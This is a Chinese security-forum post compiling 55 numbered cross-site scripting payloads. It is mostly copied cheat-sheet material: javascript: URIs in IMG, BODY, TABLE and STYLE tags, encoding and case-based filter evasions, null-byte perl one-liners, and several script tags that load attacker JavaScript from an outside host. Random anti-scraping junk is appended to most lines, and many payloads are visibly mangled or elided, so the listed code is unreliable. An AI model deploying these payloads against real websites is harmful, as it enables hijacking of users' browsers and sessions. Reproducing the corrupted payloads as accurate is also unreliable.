找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2255|回复: 0
打印 上一主题 下一主题

XSS攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2016-4-28 10:06:15 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
(1)普通的XSS JavaScript注入) T2 @" N, i5 H# o7 D2 F3 `
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>% d5 Z* u4 x# @! q, d. J& y
(99)另类弹框

! N4 r% y  |( e- u5 R$ f/ }<q/oncut=alert()>1$ Z7 n$ ^  `# i: ]8 f! `
<s/onclick=alert()>b
6 h3 x! \- {# \2 z. J <XSS=" onclick="alert(1)//">clickme</SSX=">
# C3 N& o# K% s+ k, w& S( ~ <zzz onclick=alert`1`>clickme</zzz> 1 W6 u% u: m6 t
<a onclick=alert`1`>clickme</a>
) `3 t; Q$ B. l" E# P) ]( R<a=">clickme</a=">
! o2 W$ w/ F8 E- D. p: A# ]- ?! R8 K<a=">clickme</a>  n6 z9 u& d+ P" A0 ?/ s
<z=">clickme</z=">5 d0 p9 p8 _8 Q4 O8 u
<z onclick=alert`1`>clickme</z>% a" T- z% w0 f. k% W( n9 H
' R. K. F7 Z! l, g- j
(2)IMG标签XSS使用JavaScript命令. s. l. _: P! G, y, J$ t! L
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>' M' F$ F- W8 A; k. e9 V
% ]' J/ Z$ j7 |' z7 k& L
(3)IMG标签无分号无引号
- G: D* T/ C. M' P* u" W
<IMG SRC=javascript:alert(‘XSS’)>3 i" ]2 x: b: A) U

4 y- Y: d3 M# p( b5 r) g- E& c# E5 o
(4)IMG标签大小写不敏感
4 x& S2 F$ B0 O1 k: {5 N) c4 M
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
9 @% t% \; R! S* d

$ i2 w, Q4 Y3 @6 [7 e4 a
(5)HTML编码(必须有分号)
" T! E, A8 P- g( h
<IMG SRC=javascript:alert(“XSS”)>
5 W! {3 q. X( m: [. B
( f7 n5 @9 }! p/ f
(6)修正缺陷IMG标签
8 [. C6 C3 L$ X' N: O+ Z! v
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
- z' m8 q5 v: f# A" d

5 M: O$ }& J9 Q3 @: T9 A; ]
(7)formCharCode标签(计算器)' z6 J! K7 a4 S1 @
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>7 n1 ~: n0 W% w7 z  Y
- M( V$ I! ]8 D4 R
(8)UTF-8的Unicode编码(计算器)6 }; r! m- [& U  I) m* [& m
<IMG SRC=jav..省略..S')>
9 m/ |: z( ?5 |0 l3 B8 v% w
2 K3 |$ I# S" N2 t4 ~! e& F
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)# b  G; d# N* M3 a3 i" f
<IMG SRC=jav..省略..S')>
! I1 ~6 o4 E  x/ T9 O! Q

% ^" K& v+ ?1 G# C# O. J
(10)十六进制编码也是没有分号(计算器); V% ]* R7 {# g* h7 I+ |; x
<IMG SRC=\'#\'" /span>+ `% D0 r' L3 W! T, ]
8 B! S( ?: U6 d
(11)嵌入式标签,将Javascript分开+ W: I9 Y! Y- q( j8 }; A' H
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
; [" h  X) C; J+ k& z. I4 o* C' ^6 `0 ^, K5 G+ R" W
(12)嵌入式编码标签,将Javascript分开. u3 s) V7 U  B- n4 w
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>/ P4 D1 u2 g% {! E
$ y" e$ I7 ~7 X. M
(13)嵌入式换行符
5 t8 h* o) D+ C<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 W* t- }. p. R" v" _$ e/ R5 H) i! n9 J7 }. B2 g- @
(14)嵌入式回车
0 I8 H3 L3 n9 E- d+ `$ f5 b<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>* M  z7 x8 m# a' A1 x1 n* Y* R. P

1 c$ h! Y3 c% G" g& H2 B(15)嵌入式多行注入JavaScript,这是XSS极端的例子! F8 K! H5 B1 `0 ~# o* H' B- t
<IMG SRC=\'#\'" /span>8 [# d7 d1 j) `9 o9 X) d$ z& t

8 c2 ]4 G4 b! s(16)解决限制字符(要求同页面)
. q3 G+ _4 P) o* [0 \/ u) ]<script>z=’document.’</script>
* ]. l7 A/ D4 `0 \6 Y/ a<script>z=z+’write(“‘</script>- I9 b/ c# |( G# S
<script>z=z+’<script’</script>% p. l8 i1 Q! Z
<script>z=z+’ src=ht’</script>
' C- t! E" j: v/ x! F$ A<script>z=z+’tp://ww’</script>
9 n8 h' i% e/ z, j$ E<script>z=z+’w.shell’</script>) F: Q8 x0 J5 b# d
<script>z=z+’.net/1.’</script>
" Z( W! g4 f' M/ w6 E6 u<script>z=z+’js></sc’</script>7 f- L( f, Z, D; l, E' _
<script>z=z+’ript>”)’</script>  B- G* w( a$ q) b( ~
<script>eval_r(z)</script>& p" o9 d& H+ E# X% C* @( o
) Q: u5 ^% @2 U! [+ Q( y* O/ L
(17)空字符
6 @& w) q) y, a0 z( v( ~, Z  D  ]7 s# [perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
7 F$ |. i( d& t8 L
* @4 x) @, N( i: V% b(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用4 m! ]3 R+ O" V3 H/ O
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
2 m6 n$ C0 q6 ]8 D. R: \( f
' ]0 |0 F  o( d/ _- |(19)Spaces和meta前的IMG标签! x8 t* p, S, ^# N5 r
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>: n: p6 Z( z8 s/ l  |
+ f4 R7 t8 n" ?% H5 M& }
(20)Non-alpha-non-digit XSS
/ P! H( k7 ^! U  c0 L" D<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
' @( U$ J! }' G  o  y9 n5 d1 O0 ], M7 g" i( `! K" e3 N" `& Q
(21)Non-alpha-non-digit XSS to 27 K. x2 R; |2 }
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>7 ?4 D* ^$ F* O* ?. J* N

# c2 a3 ?) V+ }/ w! g  c(22)Non-alpha-non-digit XSS to 3
& f6 a" O3 j9 I1 u<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>1 b7 m0 k5 r1 ]' ~

4 f) K  {6 a* v+ `# a(23)双开括号* j9 I3 s+ W' O
<<SCRIPT>alert(“XSS”);//<</SCRIPT>) u1 f$ x- q2 y' i& i' I) B
9 M6 l: b2 p, d
(24)无结束脚本标记(仅火狐等浏览器)
! A+ [9 Y7 O' }" w<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
- e* ?- s3 y+ |
; c3 H; t9 r3 ?) X8 _- c8 K; c  h- N(25)无结束脚本标记2
: Z' j8 f9 P# v* W<SCRIPT SRC=//3w.org/XSS/xss.js>
! _6 f# q; Z3 h1 {0 e9 c# X1 W' r6 x+ T+ X& d
(26)半开的HTML/JavaScript XSS/ z/ K6 H. V: x: p# t" T. G! s, c5 q9 u+ j
<IMG SRC=\'#\'" /span># K* y" _. C* `- p

2 D+ s0 g# U& o+ \(27)双开角括号
( l' p# Q7 j3 X1 J9 C* J1 G<iframe src=http://3w.org/XSS.html <
% |5 z1 v5 q+ i9 F: e7 s5 V* a4 S$ I- Z+ x" h3 n) O. j
(28)无单引号 双引号 分号2 ~  j! j4 ?- p5 ?; j& y' \
<SCRIPT>a=/XSS/4 o3 j( r* M4 ^( c! ?
alert(a.source)</SCRIPT>
3 c/ {7 ?+ Y5 t1 C; k% w# R6 ]% n% Q# Y! N! r% H7 @0 O: d
(29)换码过滤的JavaScript
  {0 V! r; W: c# r8 j\”;alert(‘XSS’);//
: F4 f0 \, _/ J: |) h+ e! u  A& h- a9 Y. ]
(30)结束Title标签
* M9 H$ v% o. l: O</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>+ T( l; b" B/ w3 P
6 q% |' _( ]- K! ~  e+ \5 M
(31)Input Image
5 N7 u1 n( I/ w6 ^$ E- @+ F5 O0 e- }<INPUT SRC=\'#\'" /span>/ P( l2 c* j/ j7 d' x1 h. [0 H& R
1 x1 C( f0 W* S
(32)BODY Image0 G" _8 ]9 H9 H7 d
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>; N$ q7 [( c; |! d  }: K0 I8 U  P- \

: L- }; J5 [2 F(33)BODY标签
/ u5 j6 g2 e3 R9 P* J3 ~<BODY(‘XSS’)>
7 @! O, v4 i2 b. A7 t6 p$ l- X/ R  V4 n1 B" A
(34)IMG Dynsrc8 \7 O; p& G( K& J4 a! Z
<IMG DYNSRC=\'#\'" /span>+ c0 G) _; g1 Q$ |7 u3 [9 Z

/ a9 D6 s) P3 m) j(35)IMG Lowsrc
2 o. T% o( a& h0 B& i<IMG LOWSRC=\'#\'" /span>
% Q6 z% ]" j0 Q) O
2 U) w2 A( D& O. N(36)BGSOUND3 k6 Z/ d% _0 z8 f
<BGSOUND SRC=\'#\'" /span>
, {: X* {3 x1 q* O& G
" t9 k% f' G& v6 U, l: H# T(37)STYLE sheet
  }) N! `3 i+ e: x<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
7 y5 A3 p$ L) }3 }
( f; {* E7 t, w$ I" Z# [$ C6 s(38)远程样式表+ h  K# N7 i( C" G) I7 t
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>7 {3 i  a6 y7 q

0 ~9 G. U. x3 ?& T(39)List-style-image(列表式)
" @/ M) _' G$ L7 A6 y<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS) Q  h8 a* h5 R' C, s, B0 V
, E6 R# ^9 G! d+ p. I
(40)IMG VBscript4 b9 p7 F; s2 X1 {4 p% l! B
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS$ N$ f; S. g" ^

6 m8 F; N7 w2 R% O! Z. k' [(41)META链接url
% e# R: ^& A; m, Y( L) I<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>+ k1 J* ]8 k  v  p  z& t
  Q% p& n7 {" |5 V
(42)Iframe
& ]/ |  y$ x% k8 P7 f  U<IFRAME SRC=\'#\'" /IFRAME>" s+ K; X8 w  G9 A2 z# e( `
! J/ n: S9 J: `
(43)Frame: w8 N) t2 q; ~7 ?4 B  r7 Z
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET># B( d- U- s) R

8 ]6 H8 Q$ [7 ]: u, |- p(44)Table
: N3 m$ F8 u: I3 A6 Y' `! Z<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
' |5 D; W4 Z, B) Y/ T/ m$ H; i$ Y" K* y3 |- v1 `6 }
(45)TD2 m! @! H: h+ k" J/ l" V
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
% F8 F2 ], O- x: W2 g) [0 I9 y
6 X; K8 c/ i. _& w/ ^, m(46)DIV background-image/ ]: e& J4 k! C" I9 t0 |0 k' ?1 G
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>5 ]5 n) z) D0 s) F

9 A) `9 o  |7 H. b7 L! x: n$ H(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
) h& Y8 _  }% E1 Y, z- j3 d: u. d<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
+ x" j" p# A7 w' F! w7 k3 T
% ^+ L6 Q: N: f# o7 U) I. g" f  D(48)DIV expression
1 c5 A$ `; H2 s3 i2 o<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
2 P7 j& m9 I5 f4 x  h- [3 X$ d. q$ m3 B
(49)STYLE属性分拆表达* N% i  F$ ~% s( Y' \& G
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>/ n' o  r# x7 X: g7 \2 A7 d
, I+ @' Y0 s* M8 a; H1 C/ q1 R
(50)匿名STYLE(组成:开角号和一个字母开头)+ s: _; }, t  b7 {0 J4 D* Q) i
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>, `* H4 g' c+ e; S$ L
, v9 B- v. Q4 [* N
(51)STYLE background-image
- `( K# g/ j  L<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>8 H9 E: H% U6 s' w

8 T& }4 r  m" n# O6 `(52)IMG STYLE方式3 ], _' s$ a* I1 S% ]1 w( K) P
exppression(alert(“XSS”))’>
% v" P3 S- ^2 r3 Y5 V  |" p0 M" J! V4 A
(53)STYLE background# c9 s7 j% m! k; `
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>- H' j8 I2 n' |! n: G

  |8 x0 [  N  s! D# b; X(54)BASE" r; v* D. p( }1 y4 ~7 c
<BASE HREF=”javascript:alert(‘XSS’);//”>2 P' Q5 t" r0 Q( c# p  E% |" o# M

: x0 r' ~! e) W# n" L(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
' L  K: h. T3 A) Y- V<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
' k1 ?. u! N6 U6 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表